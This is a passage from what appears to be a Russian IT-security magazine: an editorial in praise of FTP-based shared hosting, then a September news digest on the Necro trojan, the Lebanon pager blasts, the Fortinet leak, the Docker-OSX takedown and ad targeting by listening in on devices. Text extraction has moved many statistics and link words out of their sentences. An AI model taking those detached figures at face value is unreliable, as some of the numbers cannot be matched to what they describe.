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Сегодня я вытащу на  публику еще  один
редакционный спор: в  нем мне раз
за разом рассказывают, что заливать сайты
на  FTP  — это  несовременно и  чуть ли
не стыдно, а я упорно настаиваю на том, что
это  прекрасный, простой и  надежный спо‐
соб, который мы если не потеряли, то пос‐
тепенно теряем.

Раньше (то есть в  девяностые и  начало нулевых) хостинг был всего двух
видов: Dedicated и Shared. В первом случае ты получаешь сервер определен‐
ной конфигурации — и делай с ним, что хочешь.

Shared Hosting — альтернатива для простых людей и малых организаций.
Платишь немного денег и  получаешь доступ к  админской панели, папке
на FTP и реляционной БД (или нескольким). Все, что нужно, чтобы развернуть
сайт! Если понадобятся какие‑то настройки веб‑сервера, то для  этого
в Apache есть конфиги , которые кладутся прямо в папку с сайтом..htaccess

Недостатков у  этого метода масса. Масштабируемость  — никакая, дос‐
тупа по  SSH обычно нет, установить что‑то на  уровне системы невозможно,
поставить задачу в cron — никак. Да и с безопасностью у обычного FTP не все
в порядке из‑за отсутствия шифрования.

На замену Shared Hosting пришло сразу много разных вещей, каждая
из них — для своей категории пользователей.

VPS и  VDS  — замена для  тех, кто мечтал о  выделенном сервере
(Dedicated), но  не хотел платить много. Тут тебе и  SSH, и  cron, и  установка
любых приложений. Многие провайдеры сейчас даже разрешают загрузить
ISO с  операционкой. Очевидный недостаток  — систему придется админить:
настраивать и  потом обновлять веб‑сервер, обратный прокси, базу данных,
фреймворки и все остальное хозяйство. Ускорить деплой можно при помощи
Docker, но порог вхождения это только повышает.

Если нужна масштабируемость, то ставки растут еще  сильнее: для  серь‐
езных дел теперь нужен облачный хостинг, Kubernetes, виртуальная сетка
и прочие радости. Не то чтобы в этом было что‑то плохое, просто это индус‐
триальный уровень, где поддержкой может заниматься целая команда.

Для тех, кто не хочет админить, есть другое решение — PaaS-платформы
вроде  и  , а  также лямбда‑функции, они же «бес‐
серверный хостинг». В первом случае мы завязываемся на какое‑то конкрет‐
ное заранее обустроенное окружение со своими особенностями, во втором
вообще загружаем только программный код и  даже данные храним где‑то
отдельно. Немного в  стороне стоит   — удивительное творение фрон‐
тендеров, которые решили заново изобрести бэкенд.

Heroku Google App Engine

Vercel

Добро пожаловать в современный фронтенд

Все эти штуки тоже хороши, но ориентированы в первую очередь на веб‑при‐
ложения. То есть нацелены на  программистов, имеют определенный порог
вхождения и не дают просто взять и выложить что‑то в интернет.

Чуть более дружественны к  новичкам облачные среды разработки вроде
 и  . Некоторые из них готовы хостить статику в разумных пределах

и позволяют держать сервис перманентно запущенным, причем даже на бес‐
платных тарифах.

Glitch Replit

Glitch — хорошая попытка снова сделать вебдев веселым

Ну и наконец, для простых людей, не обученных искусствам кодинга и адми‐
нистрирования, есть сервисы вроде , « » и  прочих конструк‐
торов. Но рассматривать их как хостинг было бы странно: тут нужно платить
несколько тысяч рублей в месяц за смехотворное количество данных и  тра‐
фика. Скорее это  плата за  пользовательский софт, готовые шаблоны
и дополнительные сервисы вроде приема платежей.

Wix.com Тильды

В общем, все перечисленное совершенно не подходит, если ты планиру‐
ешь либо захостить статический сайт, либо просто кинуть какой‑то файл
и сделать его доступным через HTTP. Ну или запустить простенькое веб‑при‐
ложение, не настраивая весь стек и не адаптируя свой код к причудам окру‐
жения.

Для статических сайтов, впрочем, есть еще два неплохих варианта: 
 и  . С тех пор как бесплатные аккаунты GitHub стало возможно

делать приватными, он стал почти идеальной площадкой для  небольшого
личного сайта.

бакеты
S3 GitHub Pages

Нужно только понимать, что сервис предоставляется «по доброте душев‐
ной», то есть только до  тех пор, пока в  Microsoft его считают выгодным
и полезным. Если не веришь, что его когда‑нибудь могут прекратить, вспомни

.судьбу GeoCities
Объектное хранилище S3  такого недостатка лишено и  точно не  должно

никуда пропасть, пока ты платишь копеечку. Вот только перевести ее из Рос‐
сии теперь непросто; аналоги S3  есть у  «Яндекса» и  Mail.ru, но  статические
сайты, насколько я знаю, там хостить не выйдет.

К тому же бакет S3  требует единоразовой, но  заковыристой настройки,
прежде чем станет сайтом. Чтобы файлы из  него было видно из  интернета,
понадобится подключить роутинг  и определенным образом
настроить .

Amazon Route 53
политики доступа

INFO

Как‑то раз я написал 
. Он разработан на  Python, а  создал его

автор минималистичного веб‑фреймворка Flask
и шаблонизатора Jinja2.

статью о  статгенераторе
Lektor

Кстати, если хочешь сэкономить, можешь попробовать замутить какое‑то
сочетание из  статического сайта на  GitHub и  бесплатных возможностей
облачной IDE вроде Glitch или  Replit. Можно еще  попробовать добавить

 для хранения данных, там вполне вольготные лимиты на бесплатное
использование. Но  это все же немного из  серии «как сделать троллейбус
из буханки хлеба» — занятно, но не очень надежно и основано на конкретных
продуктах.

Firebase

Ну и наконец, сайт можно захостить прямо у себя дома — на свисающей
с  пачкорда Raspberry Pi. Достаточно купить статический IP и  прописать NAT
на роутере. Выйдет даже не Dedicated, а владение своим дата‑центром! Но,
думаю, недостатки такого решения вполне очевидны.

Получается, что уникальность Shared-хостинга была в  простоте и  стан‐
дартизации. Ты всегда мог рассчитывать на  один и  тот же стек LAMP
и любимые всеми хостерами cPanel и phpMyAdmin. Да, конечно, сейчас все
это  уже полное старье. Но  тот же уровень переносимости теперь достижим
только с виртуальным сервером и Docker. Тот же уровень легкости — просто
никак.

Хоронить старорежимный хостинг пока рановато: его еще предоставляют
компании вроде , ,  и прочие. Но из мейнстрима
он превратился в редкость и доступен все больше как легаси.

BlueHost HostGator SiteGround

Мне кажется, при изобилии самых разных вариантов прямой замены ему
так и  не придумали. Перетаскивать статику и  скриптики в  окно FTP-клиента
и получать работающий сайт по‑прежнему чертовски удобно.
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В этом месяце: специалисты изучают странные шумы
в  мировом трафике, в  Google Play проник троян Necro, суд
обязал Google удалить пиратское приложение с  устройств
пользователей, в  Ливане произошла массовая детонация
пейджеров и  раций, на  обновление ТСПУ могут потратить
почти  60  миллиардов рублей, а  также другие интересные
события прошедшего сентября.

БУРИ В ТРАФИКЕ
С января 2020-го специалисты компании GreyNoise наблюдают крупные вол‐
ны «шумовых бурь» (Noise Storms), которые содержат искаженный
интернет‑трафик. Несмотря на  тщательный анализ и  годы наблюдений,
исследователи так и не сумели установить происхождение и назначение этих
«шумов».

Аналитики полагают, что «шумы» могут быть связаны с некими секретными
коммуникациями, сигналами для координации DDoS-атак, скрытыми канала‐
ми управления вредоносными программами или  вообще могут являться
результатом неправильных настроек.

GreyNoise опубликовала свои догадки о  «шумовых бурях» в  надежде, что
мировое сообщество ИБ‑специалистов поможет разгадать эту загадку
и выяснить причину возникновения аномалий в трафике.

Исследователи рассказали, что наблюдают волны поддельного
интернет‑трафика, исходящие с  миллионов спуфинговых IP-адресов из  раз‐
личных источников, включая CDN китайских платформ QQ, WeChat и WePay.

Такие «бури» порождают масштабные волны трафика, направленные
на  конкретных провайдеров (Cogent, Lumen и  Hurricane Electric), при  этом
избегая других, в частности — Amazon Web Services (AWS).

В основном такой трафик сосредоточен на  TCP-соединениях (особенно
через порт  443), но  также наблюдается множество ICMP-пакетов, в  пос‐
леднее время содержащих встроенную ASCII-строку LOVE.

Также отмечается, что в TCP-трафике изменяются такие параметры, как раз‐
мер окна, для эмуляции различных ОС, что позволяет сделать эту активность
более незаметной и с трудом поддающейся обнаружению.

Значения Time to Live (TTL), которые определяют, как долго пакет находит‐
ся в  сети, прежде чем будет отброшен, установлены в  диапазоне
от 120 до 200, чтобы имитировать настоящие сетевые переходы.

Исследователи говорят, что в  целом формат и  характеристики этих
«шумовых бурь» скорее выглядят как целенаправленная работа компетентно‐
го человека, а не как масштабные побочные эффекты от неправильных кон‐
фигураций.

То есть странный трафик имитирует обычные потоки данных, но  его
истинное предназначение все еще остается загадкой.

Аналитики GreyNoise уже опубликовали на   PCAP-данные двух
недавних «шумовых бурь», приглашая других ИБ‑исследователей присоеди‐
ниться к  расследованию и  поделиться своими соображениями о  происхо‐
дящем.

GitHub

 УЩЕРБА ОТ ИТ-ПРЕСТУПЛЕНИЙ91 МИЛЛИАРД

На ВЭФ-2024  заместитель начальника следственного департамента МВД России Даниил
Филиппов рассказал, что в  текущем году ущерб от  ИТ‑преступлений в  России уже составил

 рублей. При  этом за  весь  2023  год этот показатель достиг 
рублей.
91 миллиард 157 миллиардов

По словам Филиппова, с  2020  по  2023  год количество ИТ‑преступлений выросло на    —
с   до  .

27%
510 тысяч 677 тысяч

В целом, по  данным МВД, преступления в  сфере ИТ составляют более  от  их общего
количества.

30%

NECRO В GOOGLE
PLAY
Троян Necro обнаружили в  двух приложениях в  официальном магазине
Google Play. Общее количество загрузок этих приложений превышает 11 мил‐
лионов. Исследователи «Лаборатории Касперского» полагают, что зараже‐
ние исходило от стороннего рекламного SDK.

Эксперты обнаружили новую версию Necro в конце августа 2024 года, ког‐
да вредонос уже проник в два популярных приложения в Google Play, а также
распространялся через другие источники. Больше всего от атак малвари пос‐
традали пользователи из России, Бразилии, Вьетнама, Эквадора и Мексики.

Necro представляет собой загрузчик, который скачивает и  запускает
на  зараженном устройстве другие вредоносные компоненты в  зависимости
от команд, полученных от его операторов.

Изученный исследователями вариант Necro способен загружать
на зараженный смартфон разные модули. Так, есть плагины, которые показы‐
вают на  устройстве рекламу в  невидимых окнах и  прокликивают ее. Другие
модули используются для  загрузки и  выполнения произвольных файлов
JavaScript и  DEX (Happy SDK, Jar SDK), установки на  смартфон сторонних
приложений, открытия в  невидимых окнах произвольных ссылок в  WebView,
выполнения там произвольного JavaScript-кода и, исходя из  технических
характеристик устройства, вероятно, оформления платных подписок.

Кроме того, плагины позволяют злоумышленникам передавать трафик
через устройство жертвы. Благодаря этому хакеры могут посещать нужные им
ресурсы якобы от  лица пострадавшего, а  также сделать зараженный гаджет
частью прокси‑ботнета.

Отмечается, что авторы Necro могут регулярно выпускать новые плагины
и  распространять их среди зараженных устройств, в  том числе выборочно
(например, в зависимости от информации о зараженном приложении).

Necro и его плагины

Первым приложением, где был выявлен новый Necro (вне Google Play), ока‐
залась модифицированная версия Spotify Plus. Создатели этого приложения
утверждали, что программа содержит множество дополнительных функций,
которых нет в официальной версии.

Затем исследователи обнаружили Necro в измененной версии WhatsApp,
а  также в  модах для  различных игр, включая Minecraft, Stumble Guys, Car
Parking Multiplayer.

Что касается Google Play, малварь проникла в  официальный магазин
в  составе приложений Wuta Camera и  Max Browser. Согласно статистике
Google Play, общее количество скачиваний этих приложений превыша‐
ет 11 миллионов.

Исследователи уведомили о малвари представителей Google Play, после чего
вредоносный загрузчик был удален из Wuta Camera в версии 6.3.7.138, а Max
Browser попросту убрали из магазина приложений. Так как последняя версия
Max Browser (1.2.0) по‑прежнему содержит Necro, «чистой» версии этого при‐
ложения не  существует и  пользователям браузера рекомендуется немед‐
ленно удалить его со своих устройств.

Как объясняют специалисты, Necro проник в  Google Play и  упомянутые
выше приложения в  составе рекламного SDK Coral, который использовал
обфускацию для сокрытия своей вредоносной активности, а также стеганог‐
рафию для  скачивания полезной нагрузки второго этапа  — shellPlugin,
которая маскировалась под безобидные изображения в формате PNG.

Напомним, что ранее Necro был замечен в Google Play , в рам‐
ках еще  более масштабной вредоносной кампании. Тогда зараженное мал‐
варью приложение CamScanner успели загрузить больше 100 миллионов раз.

в 2019 году

НОВЫЕ РЕКОРДЫ LINUX
По данным платформы StatCounter, в  августе  2024  года доля настольных компьютеров
под управлением Linux впервые превысила отметку в  .4,5%

При этом в июле 2023 года Linux преодолел порог в  , то есть за год рост составил .3% 1,5%

Чтобы достичь текущих показателей, Linux потребовалось более .30 лет

Если текущая тенденция сохранится, к февралю 2025 года доля Linux на настольных ПК может
достичь .5%

Для сравнения стоит отметить, что на долю Windows приходится  рынка, а за ней сле‐
дует macOS с  .

76,46%
15,48%

GOOGLE, УДАЛИ!
Суд в Аргентине постановил, что компания Google обязана «незамедлитель‐
но удалить» приложения Magis TV с  устройств пользователей Android. Так
как это пиратское IPTV-приложение не представлено в официальном магази‐
не Google Play, речь идет об  удалении приложений, установленных людьми
из сторонних источников.

В сентябре аргентинские власти обязали местных интернет‑провайдеров
заблокировать десятки доменов, связанных с Magis TV, в связи с нарушением
прав интеллектуальной собственности. В  общей сложности под  блокировку
попали  69  доменов, и  теперь пользователи из  Аргентины не  должны иметь
к  ним доступа. Правообладатели, судя по  всему, нацеливались в  основном
на  реселлеров подписок Magis TV, так как  в списке фигурирует лишь один
из основных доменов сервиса.

Первоначальная жалоба на  Magis TV поступила от  латиноамериканской
антипиратской группы Alianza, которая представляет интересы компаний,
работающих в  секторе платного телевидения: Direct TV, Sky Brasil, Warner
Bros. Discovery, Disney, Globo, Win Sports, Telecine и так далее.

Расследование проводилось аргентинским Специальным отделом
по борьбе с киберпреступностью (UFEIC) под руководством прокурора Але‐
хандро Муссо (Alejandro Musso). И  в итоге постановление о  блокиров‐
ке  69  доменов, связанных с  Magis TV, было вынесено  13  сентября судьей
Эстебаном Россиньоли (Esteban Rossignoli).

Однако прокурор заявил, что блокировка  69  доменов означает лишь то,
что «приложение больше нельзя будет скачать», и нужно пойти гораздо даль‐
ше этого. В  частности, нужно устранить угрозу, которую представляют мил‐
лионы копий Magis TV, уже установленные на  устройствах пользователей.
И судья согласился с этой точкой зрения.

В предписании для  компании Google судья Россиньоли пишет, что ком‐
пания обязуется «принять необходимые технические меры для  незамед‐
лительного удаления с  Android-систем, транслирующих IP-адреса, находя‐
щиеся на территории Аргентинской Республики, приложения под названием
Magis TV».

Также в  документе указано имя файла (magis_mobile_v6.5.2.apk) и  сле‐
дующие хеши:
• SHA-1: e68156b531ffaade1090b7326b7ae7d604975cd0;
• MD5: c4614c08c3be4ee9972870056d47afae.

Согласно VirusTotal, оба хеша относятся к одному и тому же файлу — это APK-
файл размером 48,89 МБ (51 262 825 байт).

Комментируя решение судьи, Алехандро Муссо признал, что «такого еще не
случалось», но  назвал эту меру совершенно необходимой. Также он отме‐
чает, что эту практику наверняка захотят повторить многие страны, которые
тоже сталкиваются с подобными проблемами.

«

»

«Это беспрецедентное предписание суда в настоящее время рассмат-
ривается компанией Google. Мы понимаем, что они не могут просто
его отклонить. Решение суда предписывает удалить это  приложение
на  всех устройствах, имеющих аргентинские IP-адреса, через
обновление операционной системы Android, — комментирует Муссо. —
После этого установленное приложение исчезнет, и его нельзя будет
загрузить снова, что позволит разорвать порочный круг цифрового
пиратства. Единственный способ для Magis TV обойти эти ограниче-
ния  — разработать новое приложение. Но  мы будем ждать и  будем
готовы повторить все то же самое, как только обнаружим (новое при-
ложение)».

Интересно, что Alianza, в  числе прочего, представляет интересы Ла Лиги,
а высший дивизион футбольных лиг Испании уже некоторое время обсуждает
аналогичные меры с представителями Google и выступает за удаленное сти‐
рание приложений с Android-устройств пользователей.

«

»

«Были не только заблокированы все домены, связанные с незаконным
сервисом и  его технологической инфраструктурой, но  и вынесено
решение о  том, что компания Google должна предотвратить исполь-
зование незаконных приложений, уже установленных на  Android-
устройствах, с  помощью собственных механизмов безопасности,
о чем мы просили неоднократно. Более того, в 2022 году судья пер-
вой инстанции в  Испании вынес постановление, также требующее
от Google принятия аналогичных мер по просьбе Ла Лиги, но этот про-
цесс все еще продолжается», — заявил глава Ла Лиги Хавьер Тебас
(Javier Tebas).

Пока неизвестно, будет ли Google оспаривать решение аргентинского суда
или  действительно удалит требуемые приложения с  устройств пользовате‐
лей. Однако пользователям Android вряд ли понравится мысль, что Google
может попросту стереть с их устройств сторонние приложения, которые они
устанавливали самостоятельно, даже не через Google Play Store.

CISA КРИТИКУЕТ РАЗРАБОТЧИКОВ
Выступая на  конференции Mandiant mWISE, глава Агентства по  кибербезопасности и  защите
инфраструктуры США (CISA) Джен Истерли (Jen Easterly) заявила, что разработчики ПО, пос‐
тавляющие небезопасный код с ошибками, должны перестать «помогать» киберпреступникам,
которые в итоге используют эти уязвимости для атак.

Она считает, что называть баги «уязвимостями в программном обеспечении» — это слиш‐
ком мягко и следует прямо говорить о «дефектах [конкретных] продуктов».

→ «На самом деле именно поставщики технологий создают проблемы, откры‐
вая двери злоумышленникам и способствуя их атакам.

Почему мы не задаемся вопросами о том, почему ПО требует так много экс‐
тренных исправлений? Ответ прост: мы должны предъявлять больше требова‐
ний к поставщикам технологий.

Несмотря на  многомиллиардную индустрию кибербезопасности, у  нас
по‑прежнему есть проблемы с  качеством ПО  стоимостью в  несколько трил‐
лионов долларов, что приводит к  развитию глобальной киберпреступности,
тоже оценивающейся в несколько триллионов долларов.

К сожалению, мы стали жертвой мифа о технологической исключительности.
У  нас нет проблемы с  кибербезопасностью. У  нас есть проблема с  качеством
программного обеспечения. Нам не  нужно больше защитных продуктов, нам
нужно больше защищенных продуктов», — заявила Истерли в своей речи.

ВЗРЫВАЮЩИЕСЯ
ПЕЙДЖЕРЫ
В конце сентября на  территории Ливана произошла 

. В результате этих взрывов погибли не менее 12 человек, а око‐
ло 3000 получили ранения. Пейджерами пользовались участники военизиро‐
ванного шиитского движения «Хезболла» (для защиты от  прослушивания
и пеленгации). По данным СМИ, партию этих устройств «Хезболла» получила
в последние месяцы.

массовая детонация
пейджеров

Через день после детонации пейджеров в  Ливане начали взрываться
рации, принадлежащие членам «Хезболлы». По  информации СМИ, устрой‐
ства были закуплены шиитским движением около пяти месяцев назад, прак‐
тически одновременно с пейджерами.

Как сообщало  со  ссылкой на  министерство здравоохранения
страны, в  результате серии новых взрывов погибли не  менее  20  человек,
а  еще  450  получили ранения. По  данным агентства, по  крайней мере один
из взрывов произошел недалеко от места похорон погибших накануне учас‐
тников «Хезболлы».

Reuters

Считается, что «Хезболла» использовала пейджеры модели AR924  тай‐
ваньского производителя Gold Apollo. При  этом представители Gold Apollo
поспешили сообщить, что пейджеры изготавливает базирующаяся
в Будапеште компания BAC Consulting, а Gold Apollo лишь предоставляла ей
лицензию и никак не участвовала в их производстве.

Что касается раций, судя по  фото и  видео, которые распространились
в сети, взорвавшиеся рации были произведены японской компанией Icom Inc.
Причем это  была модель IC-V82, производство которой прекратили
еще в 2014 году.

Продолжение статьи
→
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Представители Icom сообщили, что проводят расследование случившегося.
В компании подчеркнули, что не производят эти устройства с 2014 года, а на
фото в сети не видно голографических пломб, которыми обычно маркирова‐
лись подлинные рации (для защиты от подделок), поэтому невозможно под‐
твердить, действительно ли речь идет о продуктах Icom.

Изначально предполагалось, что причиной детонации устройств могла
быть кибератака или  спецоперация со  стороны спецслужб Израиля.
Но  ИБ‑эксперты сразу отнеслись со  скепсисом к  версии о  кибератаке,
которая якобы повлекла за собой перегрев и возгорание аккумуляторов.

Так, о произошедшем  глава iFixit Кайл Винс (Kyle
Wiens) и  Майкл Гровер (Michael Grover), также известный под  ником MG,
которого многие знают как  создателя вредоносного кабеля O.MG и  других
похожих гаджетов.

детально высказывались

Специалисты сочли, что перегрев и  возгорание литий‑ионных батарей
пейджеров и  раций вряд ли могли вызвать столь разрушительные последс‐
твия, — скорее всего, в устройства попросту заранее внедрили взрывчатку.

 КОМПАНИЙ ИСПЫТЫВАЮТ НЕХВАТКУ ИТ-
СПЕЦИАЛИСТОВ
41%

Согласно опросу «Лаборатории Касперского»,  компаний в  разных странах сталкиваются
с нехваткой квалифицированных кадров в сфере ИБ.

41%

Больше всего не  хватает экспертов по  угрозам информационной безопасности и  аналитиков
вредоносного ПО (по ). Также отмечается значительная нехватка SOC-аналитиков — ,
пентестеров и экспертов по сетевой безопасности ( ), а также TI-аналитиков — .

39% 35%
33% 32%

Сильнее всего нехватка ИБ‑специалистов ощущается в  государственных секторах, где
на момент опроса была не закрыта почти половина вакансий ( ). Заметный дефицит также
отмечается в телекоммуникациях и медиа ( ), ретейле и здравоохранении (по ).

46%
39% 37%

APPLE
ПОЖАЛОВАЛАСЬ
НА DOCKER-OSX
Популярный проект Docker-OSX удалили с Docker Hub, так как компания Apple
подала запрос в  связи с  нарушением DMCA («Закон об  авторском праве
в цифровую эпоху»), утверждая, что проект нарушает ее авторские права.

Docker-OSX  — опенсорсный проект, созданный ИБ‑специалистом
под  ником Sick.Codes. Это  решение позволяет виртуализировать macOS
на  любом оборудовании и  может быть размещено на  любой системе, под‐
держивающей Docker (включая Linux и Windows). Проект часто используется
разработчиками, которым необходимо протестировать софт в macOS, а так‐
же ИБ‑исследователями для  изучения различных конфигураций, выявления
ошибок и анализа вредоносного ПО.

Согласно официальной статистике, Docker-OSX был загружен
более 750 тысяч раз и имеет 500 звезд на Docker Hub, а также 40 тысяч звезд
на GitHub.

В середине сентября пользователи Docker-OSX обнаружили, что не могут
загрузить последние образы из  репозитория Docker Hub, получая ошиб‐
ку  404. Вскоре после этого Sick.Codes сообщил, что проект удален из  его
аккаунта и удаление связано с получением DMCA-жалобы от компании Apple.

В DMCA-запросе, который предоставили разработчику, юридическая
фирма Kilpatrick, Townsend and Stockton LLP, представляющая интересы ком‐
пании Apple, заявляла, что репозиторий Docker-OSX содержит образы уста‐
новщика macOS от Apple, которые защищены авторским правом.

Также в  документе отмечалось, что Docker-OSX воспроизводит контент
Apple без  разрешения, а  это нарушает авторские права в  соответствии
с законодательством США, и Docker просят принять «срочные меры» для уда‐
ления репозитория.

С юридической точки зрения действия Apple оправданны, поскольку EULA
для  macOS действительно ограничивает использование ОС только брен‐
дированным оборудованием Apple и  компания вправе контролировать соб‐
людение этих условий.

Однако Sick.Codes отмечает, что действия Apple в  первую очередь зат‐
ронут ИБ‑исследователей, которые используют Docker-OSX, чтобы сделать
macOS более безопасной.

«
»

«Каждый раз, когда я посещаю конференции по  безопасности, нап-
ример DEF CON или Hardwear.io, ко мне подходят другие исследова-
тели и рассказывают, что они используют Docker-OSX для поиска уяз-
вимостей. По  сути, это  один из  немногих способов принять участие
в bug bounty программе Apple, не имея настоящего Mac», — пояснил
Sick.Codes.

Также исследователь считает, что Apple противоречит сама себе, поощряя
ИБ‑исследования и  поиск уязвимостей, но  преследуя проекты, которые
помогают специалистам в этой области.

«
»

«Это законный исследовательский ИБ‑проект, который я и  еще
более 700 тысяч человек использовали для поиска ошибок в macOS.
Они (Apple) однозначно разрешают исследователям тестировать свои
продукты в рамках программы Apple Bug Bounty, участником которой я
являюсь и уже не раз отправлял ошибки в Apple. И я продолжу этим
заниматься», — заявил Sick.Codes.

В настоящее время Docker-OSX по‑прежнему , но репози‐
торий содержит только код проекта, а  не бинарники установщика, поэтому
Sick.Codes полагает, что еще одного DMCA-запроса можно не ждать.

доступен на GitHub

АТАКИ НА РОССИЮ И СНГ
Эксперты Positive Technologies представили исследование киберугроз СНГ за 2023 год и пер‐
вую половину 2024 года.

Интерес злоумышленников к региону значительно вырос: во втором квартале 2024 года здесь
зафиксировано в   раза больше атак, чем годом ранее.2,6

При этом почти  всех атак приходятся на долю России. На втором и третьем месте находят‐
ся Казахстан ( ) и Беларусь ( ).

3/4
8% 7%

В России наибольшее количество атак пришлось на  промышленные предприятия ( ),
телекоммуникации ( ), госучреждения ( ) и IT-компании ( ).

11%
10% 9% 7%

Интересно, что доля DDoS-атак на организации стран СНГ существенно выше общемирового
показателя —  в СНГ против  в мире. Такое отличие эксперты связывают с напряженной
геополитической обстановкой и  появлением большого количества новых хактивистских груп‐
пировок.

18% 8%

В 2023 и 2024 годах в регионе продолжали деятельность хакгруппы, известные на протяжении
многих лет, например  и  . Однако появились и  новые угрозы, например

, , , , .
XDSpy Cloud Atlas

Lazy Koala YoroTrooper Sticky Werewolf Hellhounds (Ex)Cobalt

ДАННЫЕ FORTINET
ИБ‑компания Fortinet признала, что пострадала от утечки данных. Дело в том,
что  12  сентября  2024  года злоумышленник под  ником Fortibitch заявил, что
похитил 440 ГБ данных с принадлежащего компании сервера Azure Sharepoint
и слил эту информацию на хакерском форуме.

«
»

«Некий человек получил несанкционированный доступ к  ограничен-
ному количеству файлов, хранившихся на  сервере компании Fortinet
в  стороннем облачном файловом хранилище, где содержались дан-
ные, связанные с  небольшим количеством (менее  0,3%) клиентской
базы Fortinet», — сообщили представители компании в блоге.

Подчеркивается, что эта атака не затронула деятельность, продукты и услуги
Fortinet, а также не было обнаружено никаких признаков несанкционирован‐
ного доступа к другим ресурсам компании.

Также в Fortinet заверили, что инцидент не является вымогательской ата‐
кой и не связан с развертыванием шифровальщика. В настоящее время зло‐
умышленник уже лишился доступа к данным, а компания уведомила о случив‐
шемся правоохранительные органы.

Человек под  ником Fortibitch заявил, что скомпрометировал принад‐
лежащий компании инстанс Azure Sharepoint. Хакер открыто поделился учет‐
ными данными для бакета S3, где были выложены 440 ГБ украденных у ком‐
пании данных.

Fortibitch утверждает, что сначала пытался получить от Fortinet выкуп (скорее
всего, угрожая опубликовать украденные данные), однако в  компании отка‐
зались платить.

Также хакер обвинил компанию в  том, что она не  подала заявление
по  форме  8-K в  Комиссию по  ценным бумагам и  биржам США, как  должна
была по закону, что позволило бы предупредить об атаке акционеров и кли‐
ентов.

В ответ на  это в  Fortinet заявили, что, «учитывая ограниченный характер
инцидента», он вряд ли мог оказать существенное влияние на  финансовое
положение компании или ее деятельность, поэтому форма 8-K не требуется.

ЛАРРИ ЭЛЛИСОН О МАССОВОЙ СЛЕЖКЕ В БУДУЩЕМ
Основатель Oracle, один из  богатейших людей мира Ларри Эллисон (Larry Ellison) поделился
своим видением будущего с  использованием ИИ. Во  время сессии общения с  инвесторами
Эллисон описал мир, в  котором ИИ‑системы будут постоянно следить за людьми с помощью
обширной сети камер и  дронов. И  якобы это  гарантирует, что полиция и  граждане не  будут
нарушать закон.

→ «Полиция будет вести себя наилучшим образом, ведь мы постоянно наб‐
людаем и записываем все, что происходит. Граждане будут вести себя наилуч‐
шим образом, потому что мы постоянно фиксируем и сообщаем обо всем, что
происходит. Это безупречно».

При этом Эллисон описывает ситуацию, при  которой записи с  камер будут храниться и  ана‐
лизироваться не полицейским департаментом, а, например, самой Oracle и ее ИИ‑системами:

→ «Полицейский может сказать: „Oracle, мне нужно две минуты, чтобы сходить
в туалет“, чтобы мы выключили камеру. Но на самом деле мы ее не выключаем.
Мы записываем, но так, чтобы никто не мог этого увидеть, чтобы никто не мог
получить доступ к  этой записи без  судебного ордера. Таким образом, вы
получаете конфиденциальность, о  которой просили, все только по  решению
суда, а  мы (судья) можем разрешить так называемый перерыв на  туалет. Мы
не будем слушать без судебного ордера. Но передаем видео в штаб‑квартиру,
и искусственный интеллект постоянно мониторит видео.

Это не люди смотрят в камеры, это ИИ смотрит в камеру. (Если что‑то про‐
изойдет), сработает оповещение, и у нас будет контроль. Каждый полицейский
будет под постоянным надзором».

Также Эллисон добавил, что для быстрого реагирования на инциденты и наблюдения должны
применяться автономные дроны:

→ «У нас есть дроны. Дрон вылетает намного быстрее полицейской машины.
Не должно быть скоростных автомобильных погонь. Вы просто заставляете дрон
следовать за автомобилем, это очень просто. Нужно новое поколение автоном‐
ных дронов».

ОНИ СЛУШАЮТ ТЕБЯ
В распоряжении издания  404 Media оказался  Cox
Media Group (CMG). В нем утверждается, что компания может таргетировать
рекламу, основываясь на  том, что потенциальные покупатели говорят вслух
возле микрофонов своих устройств. Кроме того, Google, Amazon, Bing и дру‐
гие компании названы в документе партнерами CMG.

документ‑презентация

В декабре прошлого года издание уже рассказывало о рекламируемой CMG
функциональности под  названием Active Listening («Активное прослушива‐
ние»). Тогда журналисты использовали материалы с  сайта CMG, но  после
публикации статьи компания удалила эту информацию. Так, раньше на сайте
CMG было написано:

«
»

«Как  бы это  отразилось на  вашем бизнесе, если  бы вы могли тар-
гетировать потенциальных клиентов, которые активно обсуждают пот-
ребность в  ваших услугах в  повседневных разговорах? Нет, это  не
эпизод „Черного зеркала“ — это голосовые данные, и CMG обладает
возможностями для их использования в интересах вашего бизнеса».

Теперь же в распоряжении редакции оказалась рекламная презентация, пос‐
вященная Active Listening. Отмечается, что эта презентация была отправлена
как  минимум одной компании, которой представители CMG рассчитывали
продать свои услуги.

«

»

«Умные устройства собирают данные о намерениях в режиме реаль-
ного времени, прослушивая наши разговоры. Рекламодатели могут
сопоставлять эти голосовые данные с поведенческими показателями,
чтобы таргетировать потребителей на  рынке. Мы используем ИИ
для сбора этих данных из 470+ источников, чтобы улучшить разверты-
вание, таргетинг и эффективность кампаний», — гласит первый слайд
презентации CMG.

В документе не сказано, откуда именно CMG якобы получает эти голосовые
данные (то есть не перечислены, к примеру, конкретные марки умных телеви‐
зоров, колонок или определенные приложения для смартфонов). Зато сооб‐
щается, что CMG использует голосовые данные для  выявления аудитории,
которая «готова к  покупке», а  затем составляет список таких пользователей
и  передает его рекламным платформам для  последующего таргетирования
рекламы.

В документе утверждается, что за  100  долларов в  день CMG может тар‐
гетировать людей в радиусе 10 миль (16 км) или за 200 долларов в день —
20 миль (32 км).

Как уже было сказано выше, CMG утверждает, что сотрудничает с Google,
Amazon и Facebook (принадлежит Meta Platforms, деятельность которой приз‐
нана экстремистской и запрещена в России). Скорее всего, в данном контек‐
сте речь идет о рекламе в целом, а не конкретно о продукте Active Listening.
Но презентация гласит, что CMG является:

ведущим партнером программы Premier Partner Google, то есть входит
в 3% самых успешных рекламных компаний в конкретной стране;

•

первым медиапартнером Amazon Advertising;•
одной из  первых медиакомпаний, ставших маркетинговым партнером
Facebook.

•

После того как  журналисты  404 Media опубликовали свой материал и  свя‐
зались с  компаниями для  получения комментариев, Google исключила CMG
из своей партнерской программы.

«
»

«Все рекламодатели должны соблюдать все действующие законы
и правила, а  также политику Google Ads, и, когда мы выявляем рек-
ламу или  рекламодателей, нарушающих данную политику, мы при-
нимаем соответствующие меры», — сообщили в Google.

В Amazon заявили, что «Amazon Ads никогда не сотрудничала с CMG в рамках
этой программы и  не планирует этого делать». В  компании добавили, что,
если становится известно о том, что кто‑то из партнеров нарушает маркетин‐
говые правила, Amazon может принять соответствующие меры.

Представители Meta (деятельность Meta Platforms признана экстремист‐
ской и запрещена в России) заявили, что не могут комментировать информа‐
цию о  конкретных аккаунтах рекламодателей, но  отметили, что рекламода‐
тели должны иметь необходимые права на  использование любых данных
